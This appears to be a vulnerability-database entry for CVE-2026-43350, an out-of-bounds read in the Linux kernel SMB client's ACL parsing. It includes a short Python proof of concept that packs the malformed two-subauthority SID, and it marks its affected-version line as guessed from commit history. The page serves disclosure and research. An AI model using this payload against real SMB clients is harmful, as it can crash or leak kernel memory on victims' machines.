Security Vulnerability Report
中文
CVE-2026-43350 CVSS 7.6 HIGH

CVE-2026-43350

Published: 2026-05-08 14:16:45
Last Modified: 2026-05-11 08:16:11
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: smb: client: require a full NFS mode SID before reading mode bits parse_dacl() treats an ACE SID matching sid_unix_NFS_mode as an NFS mode SID and reads sid.sub_auth[2] to recover the mode bits. That assumes the ACE carries three subauthorities, but compare_sids() only compares min(a, b) subauthorities. A malicious server can return an ACE with num_subauth = 2 and sub_auth[] = {88, 3}, which still matches sid_unix_NFS_mode and then drives the sub_auth[2] read four bytes past the end of the ACE. Require num_subauth >= 3 before treating the ACE as an NFS mode SID. This keeps the fix local to the special-SID mode path without changing compare_sids() semantics for the rest of cifsacl.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel < 6.6 (根据Git提交记录推测)
Linux Kernel stable branches prior to specific commits

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct from impacket import smb from impacket.dcerpc.v5 import samr # Conceptual PoC structure for a malicious SMB server response # This script demonstrates how to construct the malicious ACE structure. # Note: A full exploit requires running a modified SMB server. def create_malicious_ace(): # SID Revision: 1, SubAuthCount: 2 (Maliciously low) # IdentifierAuthority: 0 (SECURITY_NULL_SID_AUTHORITY) # SubAuthorities: 88 (S-1-0-88), 3 (matches NFS mode type logic) # The kernel expects sub_auth[2] but we only provide 2 sub_auths. sid_rev = 1 sub_auth_count = 2 identifier_authority = 0 sub_auth_0 = 88 sub_auth_1 = 3 # SID Structure: Revision(1) + SubAuthCount(1) + Authority(6) + SubAuths(4*Count) # We omit sub_auth[2] which the kernel tries to read. sid_data = struct.pack('<BB6BII', sid_rev, sub_auth_count, 0,0,0,0,0,0, # Authority (0) sub_auth_0, sub_auth_1) return sid_data if __name__ == "__main__": print("Malformed SID constructed to trigger OOB read in parse_dacl:") print(create_malicious_ace().hex())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43350", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:45.123", "lastModified": "2026-05-11T08:16:10.797", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: require a full NFS mode SID before reading mode bits\n\nparse_dacl() treats an ACE SID matching sid_unix_NFS_mode as an NFS\nmode SID and reads sid.sub_auth[2] to recover the mode bits.\n\nThat assumes the ACE carries three subauthorities, but compare_sids()\nonly compares min(a, b) subauthorities. A malicious server can return\nan ACE with num_subauth = 2 and sub_auth[] = {88, 3}, which still\nmatches sid_unix_NFS_mode and then drives the sub_auth[2] read four\nbytes past the end of the ACE.\n\nRequire num_subauth >= 3 before treating the ACE as an NFS mode SID.\nThis keeps the fix local to the special-SID mode path without changing\ncompare_sids() semantics for the rest of cifsacl."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "references": [{"url": "https://git.kernel.org/stable/c/2757ad3e4b6f9e0fed4c7739594e702abc5cab21", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/38a69f08ee82c450d3e4168707fff2e317dc3ff7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/b53b8e98c23310294fc45fc686db5ee860311896", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/c8eef12af1cc73031639ea7cf16e0b10e2536b0b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/f8488c07bea2431ee12a6067d736578064fa46b4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}